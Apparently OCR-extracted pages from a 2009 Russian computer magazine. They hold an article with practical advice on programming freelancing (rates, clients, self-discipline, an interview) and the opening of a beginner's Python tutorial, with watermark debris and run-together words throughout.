Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
22.66 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

 

coding

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Сколько стоит средний индус?

Если ты прилежно ходил на пары по экономике или когда-нибудь жил на одну зарплату, тебе известна непоколебимая истина: экономия — основа всего. Именно поэтому забугорные компании для разработки программных продуктов пользуются китайцами, индусами, белорусами, чехами ну и нами, жителями славной Державы. Фишка индусов и китайцев в том, что их много и стоят они крайне дешево, однако какие-то важные проекты им поручать опасно — код может получиться очень кривым. Зато цена удельного индуса, работающего в индийской же программерской конторе, колеблется от 4-5 до 15-20 долларов в час. Средний белорус из средней белорусской программерской конторы стоит уже 20-30 баксов в час. А вот в «нормальных странах Европы и Америки» гений штатного рядового программиста может стоить и 30, и 40, и 50 долларов в час, в зависимости от обстоятельств. США — 40-50 баксочасов. Имеются в виду цены разработки проектов, с учетом труда тестировщиков, маркетологов, дизайнеров и даже аренды помещения. То есть, это общая стоимость часа разработки.

Тебе же стоит рассчитывать на 1-3 у.е./час, если ты еще совсем учишься, и 10-15 у.е./час, — если ты уже что-то умеешь. Хорошо пристроившись, можно и на 17-20 баксов в час договориться, но это редкость. На таких условиях фрилансерам отдают только какие-то сложные проекты, где нужны строго определенные и относительно редкие знания.

Надежностьзаказчикаприходитсяопределятьпокосвеннымпризнакам. Иногдастоиттребоватьавансдоначалаработынадпроектомили послеопределениякакой-тоегостадии. Этообычнаяпрактикапри фиксированнойценезапроект. Еслизаказчикпредлагаетпочасовую оплату, тофинансыприезжаютвконцекаждойрабочейнедели. Помни, чтонетолькотыможешьуйтивзапойисорватьвсесроки, нои заказчикможетпропасть, кактолькополучитготовыйпроект. Разница втом, чтотебегрозитотметкавпрофиле(прощай, высокаякарма!), а заказчикутакоенаказаниеможетбытьидолампочки.

Нарынкесвободногопрограммерскоготруданаиболеевостребованы специалистыширокогопрофиляпосозданиювеб-сайтов(чащевсего, PHP+AJAX) или, наоборот, оченьузкого— спецыпоработамсбазами данных. ЕстьмногопроектовдлялюбителейJava, обычноэточто-то дляWeb. Виндовыхприложениймало— толькокакие-тонесложные утилитыилисервисы; всесерьезноеотдаетсянаоткуппрограммерским конторам.

Вообще, компаниинанимаюткодеранасторонетогда, когданужно дешевовыполнитьединичноезадание, котороепокаким-топричинам немогутсделатьштатныекодеры; илижештатныхкодеровнетсовсем, потомучтоукомпаниинетдлянихпостояннойработы. Готовьсяработать сразнымилюдьми, вплотьдотаких, которымпридетсятолковать, чем Flash отличаетсяотHTML. ОнипростонабиваютвGoogle что-товроде freelance programmers, тыкаютнасайтизпервойпятеркирезультатови абстрактноформируютзадание. Отнесисьвнимательнеектакимдеятелям, — обезьянасгранатойитодействуетболеелогичноипредсказуемо! Еслиточнаяформулировказаданиязвучит, как«авотвысделайте, мыпосмотрим, искажем, чтопоправить», стоитвыяснить, будетли заказчикплатитьвамзачасыработыилистрогозаконечныйрезультат. Вслучаефиксированногогонораралучшеположитьнанихболтсразу. Ну, илиотправитькиндусам. Когдазаказчикнезнает, чтоонхочет, он, скореевсего, инормальноплатитьнеготов.

Чтобытолковыхзаказовпопадалосьбольше, имеетсмыслпродвигать себяна«несамыхпопулярныхвмиресайтах». Нотутужеиндивидуальныйвыбор— постояннопросматриватьокеанработ, забольшую

частькоторыхнестоитбраться, илииметьделосдостаточнонебольшим количествомзаказовсменьшейконкуренциейивменяемымиработодателями. Мнебольшеподушепоследнее. Деловтом, чтоновыезаказы приходитсяпостоянномониторить— кпервымподавшимзаявкуобычно благоволятбольше. Нуикогдапотокновыхзаказовменьше, еголегче контролировать.

САМООРГАНИЗАЦИЯ

Свободныйграфикработыимелькающиенагоризонтефинансыстимулируюттвоежеланиекодитьтолькопервыемесяцы. Чемдальше— тем хуже. Важноуметьзаметить, чтотытеряешьвремя, неэффективноего используешь— слишкоммногоспишь, слишкоммного«разминаешься передработой», слишкоммалодействительноработаешь. Следиза своимраспорядкомсам, разнадтобойникогонет. Иначенебудетнормальногозаработкаисвободноговремени, атынадолгозависнешьв промежуточномсостояниимеждупрограммингоминичегонеделанием. Еслипойдешьпоальтернативномупутиибудешьсильносебястроить, топопадешьнаследующийпараграф— смотриниже.

Шумофисовитолпынародатебявсегдараздражали? Тебяненапрягаетпаруднейиночейторчатьпередмонитором? Допустим, так, нобезразнообразныхлюдишеквокругтвойхарактерподпортится. Будучиоторваннымотсоциума, тыотстанешьивпрофессиональном, ивкультурномплане. Зряулыбаешься, современемчетырестеныи

Время и деньги

Цену на хорошие проекты сбивают часто (а точнее, почти всегда). Под большими заданиями, пахнущими серьезным финансированием, вывешены десятки демпингующих заявок от лиц индуской национальности и стратегов, пожелавших добавить себе хороший проект в портфолио. Стремясь получать «вкусные» заказы, нужно хорошенько подумать, как и чем привлечь заказчика, чтобы он хотя бы связался именно с тобой. Кроме грамотно заполненного профиля, ссылок на хорошие работы и прочих очевидных методов, надо пробовать что-то свое. Например, нагадить в комментах по делу, как-то выделиться. Важно, чтобы заказчик тебя заметил, и ему захотелось тебе ответить (пусть даже в негативном клю- че). Иногда очень действенен метод «рассказать, почему заказ нереально сделать в заданные сроки и почему он стоит намного

больше». Или можно попробовать оптимизировать портфолио для проекта, чтобы предстать перед заказчиком в наилучшем виде. Единого рецепта тут нет, но общий курс, надеюсь, ясен.

Порой действительно стоит согласиться поработать за копейки, просто ради опыта/портфолио, но это компромисс, на который идут новички. Рядом с качественно выполненным серьезным проектом и позитивным отзывом заказчика будет висеть еще и цена, которую он заплатил. С чего бы новым заказчикам платить больше? Вот и подумай, как аккуратно объяснить жителю славной Америки, что вон тот сайт ты сделал за 2 у.е. в час, а ему будешь делать только за 10 у.е.? В самом начале «фрилансерской карьеры» можно создать что-то для себя или друзей, поучаствовать в конкурсах (когда оплачивается только та работа, которую выберет заказчик) или же взяться за open-source проект. Под надзором супервайзеров ты достаточно быстро наберешься опыта, да и ссылка на этот проект будет красоваться в профиле.

Когда перед тобой работодатели всего мира (а не одного региона), диапазон работ и цен дико расширяется. Даже кодеры с самыми базовыми знаниями могут рассчитывать на какую-то работу с ценой 1-3 бакса в час. Если ничего не умеешь, придется начинать с такой цены и учиться, учиться, учиться. Постоянное мелькание перед глазами проектов с более высокой оплатой должно подтолкнуть тебя к скорейшему изучению новых технологий.

090

XÀÊÅÐ 03 /123/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

наборжадныхбуржуеввскайпеначинаютдоставать. Дажеплавающие нагоризонтезеленыебанкнотынетакрадуют. Смыслбабла, когдаего тратитьнекогда? Дорогоекурево, пафосноебухлоидажебилетнаVIPместонаконцертеDepeche Mode непринесутсчастья. Такчто, нетеряй голову, небросайжизнь. Всехвмиреденегнезаработаешь. Постоянно совершенствуйсвоизнанияинезабывайопрофессиональномросте. И, кстати, онем. Большоеколичествореальныхпроектовучатжизни лучшелюбойтеории, нотехнологиисовершенствуются, прогресс куда-тоидет, атебенадоидтиидажебежатьрядом. Вон, .Net 4.0 еще невыпустили, азаказчикиужеглядятнатех, ктоготовиспользовать нерелизнутыетехнологииASP.NET MVC! Тыпонялменяправильно

— читайнужныесайты, следизатрендамиизанимайсясамообучением, иначебезнадежноотстанешьиустареешь. Владениесвежимитехнологиямиповыситтвоишансынаполучениеновыхпроектов.

Важныйаспектработыдома— родныестены. Сначалаонитакие близкиеиуютные, ноэтотолькосначала. Потомтебепостояннохочется изнихвырваться… Когдадомассоциируетсянесотдыхом, асработой, онначинаетжутконапрягать. Этоощущениеприходитчерез2-3 месяца фриланса, аборотьсяснимприходитсяоченьдолго.

PАЗГОВОРСФРИЛАНСЕРОМ

Насамомделе, этастатьясобранаизопытапорядкадесяткафрилансеровразногопрофиля, отжурналистикиидизайнадо, собственно, кодинга. Фриланситьстроговодномнаправленииполучаетсяредко, поэтому мысобралидлятебявсесамоенужноеиважное. Авместозаключительногоабзацасморальюиидейноймыслью— поставилиВасю, оннаучит. Человек-фрилансер, известныйвмирукакZihotki, пишетнаASP.NET, работалнапарукрупныхкомпаний, нослетаушелнасвободныехлебав интернет. Атеперьонделитсяснамисоветами, типсамиитриксами.

Оработе

Счегоначинать— сказатьсложно. Человеку, которыйпоканеимеет толковогоопыта, дляначаластоитпростоподумать, «анужнолимневсе это». Еслинужно— осмотрись, выбери, чемзаниматься, посмотриГугль илиЯндекс, поищифрилансовыебиржи, оценизаказы, попробуйодиндвасделатьдлясебя(еслираньшевообщенигденеработал). Потом потихонькупробуйучаствоватьвконкурсах, многочитайинабирайся опыта. Незабывайследитьзавременем, можешьпочитатьчто-топо психологии, ибопридетсяповоеватьссобойисвоимипривычками.

Обошибках

Ошибкиуменяпостояннослучаются, — какулюбогочеловека. Решалв рабочемпорядкеичиталмноговсего, чтобыповозможностиизбежать. Сложнеевсего, наверное, говорить«нет». Дажееслисогласилсяна работу, аонаоказаласьглупой, скучнойилидлительнойиприэтомочень дешевой— отказывайся. Когдаутебябудет, чтопредложитьзаказчику, не занижайставки, ценивремяисилы. Когдаберешьсязапроект— учись вернооцениватьсилыивремя. Этодолгонеполучается, всегданаходится багиличто-тоеще, чтомешаетзавершитьпроектывсрок. Приходитсяработатьвэкстремальныхусловиях. Надооцениватьсрокисрасчетомнанепредвиденныетрудности. Сзаказчикомнельзяругаться. Нужностараться предугадатьжеланиязаказчика: узнать, чтобыонхотелещедобавитьк сделанномуирассказатьемуегожеидеи, выдавзасвои. Конечно, заотдельнуюплату. Нуиеслинатебявзвалилидополнительнуюработу, внесли коррективывпоследниймоментилиурезалисроки, решайтакиенегативныемоментычерездополнительныеденьги, аневыплескаминервов. В идеале, чтобыпотокденегнепрекращался, нужнопостояннодержатьна прицеле4-5 параллельныхзаказчиков. Нескольконебольшихпроектов частолучшеодногобольшого. Кстати, небросайстарыхзаказчиков, они могутподкинутьещеработы. Дергайихиногда, интересуйсяделами.

Орынкеуслуг

Наибольшееколичествозаказов— наPHP. Занимследуют.NET сJava (нанихобычнодостаточнокрупныезаказы), нуазамыкаютсписок

— Pyton сRuby.

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

>>

w Click

 

BUY

 

m

 

 

 

 

 

 

codingw

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

Zihotki собственнойперсоной

Тебе никто не поможет!

Звучит фатально, но если ты схватишь воспаление легких или, там, ногу сломаешь, то в больничке тебе особо и не помогут. Если ты числишься официальным безработным, то лучше стать на биржу труда или получить лицензию индивидуального предпринимателя, иначе ты рискуешь встретиться с налоговиками или остаться без страховки и пенсии. Последнюю можно отправить к черту (долго до нее еще), а вот первые два fuckтора звучат очень опасно. Играть в привереду на бирже труда, поступить на заочное или придумать еще что-то — это уже твое личное дело, поступай, как тебе удобнее. Универсальный способ — фрилансить легально, как индивидуальный предприниматель. Но тогда и налоги придется платить, как предпринимателю. В общем, ты предупрежден, не оставляй этот вопрос без внимания.

Фрилансилиофис?

Офис надежнее и спокойнее; фриланс — более напряженный, нагруженный и ненадежный, но знаний и опыта приносит намного больше. Для меня — пока фриланс. Устану напрягаться — тогда будет офис. z

XÀÊÅÐ 03 /123/ 09

091

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

 

 

w Click

to

 

 

 

 

coding

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

АЛЕКСЕЙ ЧЕРКЕС

/ ALEKSEY.CHERKES@GMAIL.COM /

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ИНТИМНОЕ

ЗНАКОМСТВО СPYTHON

«Python играетключевуюрольвнашемпроизводственномпроцессе.

Безнегосложнобылобывыпуститьтакойпроект, какStar Wars: Episode II»

Tommy Burnette, старшийтехническийдиректор, Industrial Light

«Смомента основанияPython былважнойчастьюGoogle, иостаетсяейпомеретого, каксистемарастетиразвивается. МножествоинженеровGoogle используютPython, имыищембольшелюдей, умеющихснимработать».

Peter Norvig, директорпоисследованиюкачества, Google, Inc.

Е

щевянваретымогзаметить, чтомысталипосвящатьопре-

идеттекст, вводимыйвинтерпретатор. Посленего— ответинтерпрета-

деленноеколичествожурнальногопространствазамеча-

тора(результатвычислениявведенного выражения).

 

 

тельномуязыкупрограммированияподназванием«Python».

 

 

 

Сэтоговыпускамыбудемпубликоватьподветематических

>>> 2 + 2

статьизаномер: первая— длятех, ктотольконачинаетизучатьэтот

4

рулезныйязык, авторая— дляболее-менеепродвинутыхпрограммеров.

 

 

Кстати, иГорл, иНикитос— обазаписныефанатыПитона;). Итак, Python

Получается, интерпретаторможноиспользоватьвместоинженерного

— это высокоуровневый мультипарадигменный язык программиро-

калькулятораналампахнакаливания:).

вания c динамической типизацией. Он относится к языкам общего

 

назначения. Главный акцент в языке делается на чистоту и чита-

>>> tax = 12.5 / 100 # Это комментарий

бельность синтаксиса, легкое освоение, минималистичный дизайн,

>>> price = 100.50

целостную архитектуру. Благодаря этому, программы на Python быст-

>>> price * tax

ро разрабатываются и легко сопровождаются. Исходный текст в 2, а

12.5625

то и 10 раз короче, чем код аналогичной программы на Java!

>>> price + _

 

 

 

113.0625

 

LET’S PLAY!

>>> round(_, 2)

 

 

ДавайзапустиминтерпретаторPython инемногопоиграемся. Встатье

 

Вместосимволаподчеркиванияподставляетсяпоследнеевыведенное

небудетпространныхпримеровиобъяснений— простокускикодадля

скорогоознакомлениясязыком. Чтожемывидим? Засимволами«>>>»

значение. Поддерживаетсяарифметикасвещественными, комплекс-

092

XÀÊÅÐ 03 /123/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

codingw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ИзEmacs можносделатьотличнуюIDE дляPython

нымичислами. Разумеется, «длиннаяарифметика» тоже поддерживается.

ОСНОВЫОСНОВ

Человеку, знакомомусС-подобнымиязыками, синтаксис Python можетпоказатьсяоченьнеобычным, ведьвнешний видосновныхоператоровPython отличаетсяотсвоих аналоговвдругихязыках. Этонестрашно, ибокажущаясянеобычностьсинтаксисанеумаляетегодостоинств

— систематичностиипоследовательности. Привыкание наступаетбыстро— буквальнопослепервыхдесятковнаписанныхстрокязыкбудетвосприниматьсянехужеродного. Python оченьпродуманиминималистичен, чтоотнюдьне мешаетемуобладатьмощностьюигибкостью. Длябазового знакомствасвозможностямиэтогозеленогозмиядостаточ- нопары-тройкивечеров. Рассмотримпример:

>>># Выведем последовательность Фибоначчи.

... # Элемент равен сумме двух предшественников.

... a, b = 0, 1

>>>while b < 10:

... print b

... a, b = b, a + b 1 1 2 3 5 8

Первое, чтобросаетсявглаза— использованиетабуляцийилипробелов(нонетогоидругоговместе!) дляобозначенияблоковоператоров(вС, напомню, используются фигурныескобки). Втелоциклавходитдвестроки. Сперва этонепривычно, нонасамомделе— чертовскиудобно!

Самоеглавное, чтосамязыкопределяетединыйстиль кодирования. Прошузаметить, большеневозникаетмногостраничныххоливаровнафорумахотом, гдевсе-таки нужноставитьскобочку. Кодавтоматическистановитсяхорошочитаемым. Ещеоднаизмелочей, обуславливающих популярностьPython — этокортежи. Обративнимание, как впримереприсваиваютсязначенияпеременным. Переменные, перечисленныечереззапятую, образуюткортеж. Кортежи— эточто-товроденеизменяемыхмассивов. Их можноприсваиватьдругдругу(каквпримере). Чтобыв Python поменятьместамизначениедвухпеременныхx и y, необязательновводитьтретьювременнуюпеременную. Достаточнолишьнаписатьx, y = y, x!

Кстати, оченьостроумновнемсделанциклfor. Вот пример:

>>> # Выведем длины всех строк из списка.

... list = ['Python', 'is', 'cool', '!']

>>> for x in list:

...

print x, len(x)

 

Python 6

 

is 2

 

 

cool 4

 

 

! 1

 

links

 

 

http://python.org

ВPython циклfor умеетперебиратьтолькоэлементы

— здесьестьвсе, что

коллекций(внекоторыхязыкахдляэтогоестьforeach).

тебенужно, включая

Оченьизящноерешение, неправдали? List — этосписок

отличныйтуториал

изчетырехстрок. Мыперебираемихвцикле, выводяна

дляначинающих.

экран. Итерироватьсяможнонетолькоповстроенным

 

коллекциям. Любойобъект, предоставляющийинтерфейс

http://www.intuit.ru/

итератора, можнописатьвместонашегоспискаlist. Атакие

department/pl/python

объектывстречаютсядовольночасто, например, итериру-

— объемныйтуториал

ясьпообъектуоткрытогофайла, мыбудемполучатьстроки

нарусском.

внем. Задачапечативсехстроквфайлезайметнаодну

 

строкубольше, чемэтотпример(файлнужноеще закрыть).

ru.diveintopython.

Перебордиапазонацелыхчисел(какэтообычноделалось

org/toc.html — уже

вС) — эточастныйслучайописаннойсхемы. Естьфункция

ставшаяклассикой

range(), котораявозвращаетколлекцию-диапазон.

книга«Вглубьязыка

Кважнымфишкамязыкаотносятсятакжевстроенные

Python».

коллекции: словари(парыключ-значение), списки

 

(динамическиемассивы), кортежи(близкикнеизменя-

 

емымспискам), строки(что-товродеспискасимволов) и множества(неиндексируемыеколлекциинеповторяющихсяэлементов). Дляработыснимисуществуетмного функций, методовиспециальныхсинтаксическихсредств. Всеколлекции, кроместрок, являютсягетерогенными(в нихможнохранитьобъектыразныхтиповданных, включая другиеколлекции). Благодарябогатству, функциональности ипростотеиспользования, онистановятсякирпичиками твоихпрограмм. Тыуженедумаешьвтерминахнизкоуров- невыхцикловипеременных-счетчиков, незабиваешьсебе головумыслямиовыделениииосвобождениипамятиит.п. Алгоритмобычнозаписываетсятак, какимонипредставляется— наглядноилаконично.

Python широкоприменяетсявнаучныхрасчетахвкачествеопенсорснойальтернати-

выMatLab

XÀÊÅÐ 03 /123/ 09

093

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

 

coding

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ForecastWatch.com используетPython

ИГРАЕМСЯСФУНКЦИЯМИ

ФункциивPython являютсяобъектамипервогокласса. Этозначит, что ихможноиспользоватьвпрограммебезовсякихограничений, подобно объектампростейшихтипов(числа, коллекцииит.п.). Функциимогут иметьразнуюобластьвидимости(локальные, глобальные), передаватьсявдругиефункциикакпараметрыивозвращатьсяизних. Память подфункциивыделяется, какидлядругихобъектов. Еслинафункцию закончилисьссылки, еекодудаляетсясборщикоммусора. Попробую объяснитьнапримере:

>>> def make(a):

... return lambda x: x**a

>>>f2 = make(2)

>>>f4 = make(4)

>>>for i in [1, 2, 3]: print f2(i) 1 4 9

>>>for i in [1, 2, 3]: print f4(i) 1, 16, 81

Здесьдемонстрируетсясразунесколькоособенностейязыка. Рассмотрим ихподробнее. ВPython можносоздаватьанонимные(безымянные) функции. Ещеониназываютсяlambda-функциями(естьразделматематики, на- зываемыйlambda-исчислением, которыйслужиттеоретическойосновой дляфункциональногопрограммирования). Значениевыраженияlambda x: x**a — этофункция, имеющаяодинпараметрx ивозвращающаяэтот параметр, возведенныйвстепеньа(** — операторвозведениявстепень). Имяэтойновойфункцииприсваиваетсявточкевызоваmake. Еслиэтого несделать, онапростобудетудаленасборщикоммусора.

Ещеодноважноепонятие— замыкания(closures). Замыкание— этофункцияипеременные, используемыевеелексическомконтексте. Вданном примеренашаанонимнаяфункцияиспользуетвнешнююпеременную«a», хотяонаинепередаетсявнеекакпараметр. Когдаанонимнаяфункция создаетсявнутриmake, длянеебудетсозданозамыкание. Внеговойдетэта функцияизначениепеременной«а». Еслипользовательвызоветэтуфункцию,значение«a»,необходимоедляработы,будетизвлеченоиззамыкания ииспользовано. Скаждымновымвызовомфункцииmake создаетсяновое замыканиесразнымизначениями«a». Назначениефункцииmake — создаватьдругиефункции(!), которыевозводятсвойединственныйаргументв степень«а». Этотпримерлучшеосвоить, преждечемчитатьдальше:).

Какбылоуказановыше, Python — мультипарадигменныйязык. Помимовсегопрочего, онсодержитэлементыаспектно-ориентированного

программирования(АОП). Обэтойпарадигмеговорят, когдатрадиционные средстваООПвпрограмменепозволяютвыделитьнекоторуюфункциональностьвотдельныйобъектилимодуль. Такуюфункциональностьназываютсквозной. Классическиепримеры: трассировкавызовов, проверка инвариантовфункции(предипостусловиявызова), обработкаошибоки т.п. Впрограммах, написанныхнаболеетрадиционныхязыках, изменение функциональности, покоторойнепроисходилоразбиениепрограммына

Основные

реализации

Существует довольно много интерпретаторов Python от разных организаций. Ниже приведены основные:

CPython — эталонная реализация. Именно над ней работает Гвидо. Суть в том, что для Python не существует никаких официальных стандартов от ISO или ANSI, а в качестве неофициального стандарта выступает CPython. Она написана на чистом С, исходные коды открыты. Команды компилируются в байт-код, который затем выполняется виртуальной машиной. Ее можно найти в *nix-систе- мах, в Win на всяких мобильных телефонах и т.п.

Jython,IronPython— реализация на основе JVM. Включает в себя интерпретатор, написанный на Java и компилятор в байт-код. Предоставляет бесшовную интеграцию Java-классов с Python-клас- сами. Есть возможность статической компиляции. Это значит, что свои сервлеты и апплеты ты можешь написать на Python.

IronPython — примерно то же самое, что Jython, только для .Netплатформы. Присутствует интеграция .Net-типов в Python-классы и обратно. Возникают некоторые трудности с использованием CPython-библиотек.

Stackless Python — форк CPython. Оптимизирован для меньшего потребления памяти. Лишен некоторых проблем работы с потоками (GIL). Считается, что эта реализация лучше подходит для использования на платформах с ограниченными ресурсами, такими как микроконтроллеры.

PyPy — реализация Python, написанная на Python! Годится для легкой проверки новых возможностей. Позволяет транслировать код в байткоды других виртуальных машин (Javascript, LLVM, CLI и.др).

PyS60 — реализация Python для смартфонов фирмы Nokia. Сделана на базе CPython c добавлением новых модулей для работы с Symbian OS.

объекты(сквознойфункциональности), требуетбольшихзатрат, поскольку такиеизменениязадеваютбольшиеучасткикода. ДекораторывPython

— вотспособрешенияпроблемы. Декораториграетрольсвоеобразной оберткидляметода. Рассмотримпример:

>>> def logger(f):

...

def ret( *args, **kwargs ):

...

print "enter in", f.__name__

...

f( *args, **kwargs)

...

print "exit from", f.__name__

...

return ret

>>>

 

>>>@logger

... def foo(x):

... print "foo:", x

>>>foo("hello") enter in foo foo: hello

exit from foo

Функцияfoo помеченадекоратором@logger. Декоратор— этофункция иликласс, предназначенныйдляизменениядругихфункций. Например, применениедекоратора@logger кфункцииfoo эквивалентноследующей записи: foo = logger(foo). Тоесть, настоящейфункциейfoo становитсято, чтодекоратор@logger вернет, получивнавходнашуfoo.

Этонесложныйдекоратор, которыйпростотрассируетвызовыфункций, выводянаконсольсообщенияовходеивыходеизних. Еслитрассировку

094

XÀÊÅÐ 03 /123/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

